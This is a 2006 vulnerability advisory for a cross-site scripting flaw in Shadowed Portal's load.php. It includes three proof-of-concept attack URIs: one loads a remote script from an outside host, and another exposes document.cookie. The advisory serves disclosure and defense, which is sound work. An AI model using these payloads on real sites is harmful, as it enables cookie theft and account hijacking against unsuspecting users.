Shadowed Portal Load.PHP Cross-Site Scripting Vulnerability

Bugtraq ID:	17430
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 10 2006 12:00AM
Updated:	Apr 11 2006 06:42PM
Credit:	Liz0ziM is credited with the discovery of this vulnerability.
Vulnerable:	Shadowed Portal Shadowed Portal 5.7d2 Shadowed Portal Shadowed Portal 5.7d1 Shadowed Portal Shadowed Portal 5.7
Not Vulnerable:

Shadowed Portal Load.PHP Cross-Site Scripting Vulnerability

Shadowed Portal is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

All versions of Shadowed Portal are considered vulnerable at the moment.

Shadowed Portal Load.PHP Cross-Site Scripting Vulnerability

This issue can be exploited through a web client.

The following proof-of-concept URIs are available:

http://www.example.com/path/load.php?mod=pages&page="><script src=http://liz0.li.funpic.org/hacked.js></script>

http://www.example.com/path/load.php?mod=pages&page="><script>alert(/BiyoSecurityTeam/)</script>

http://www.example.com/path/load.php?mod=pages&page="><script>alert(document.cookie)</script>

Shadowed Portal Load.PHP Cross-Site Scripting Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]:[email protected].

Shadowed Portal Load.PHP Cross-Site Scripting Vulnerability

References:

• Shadowed Portal Cross Site Scripting (Liz0ziM)
  
• Shadowed Portal Home Page (Shadowed Portal)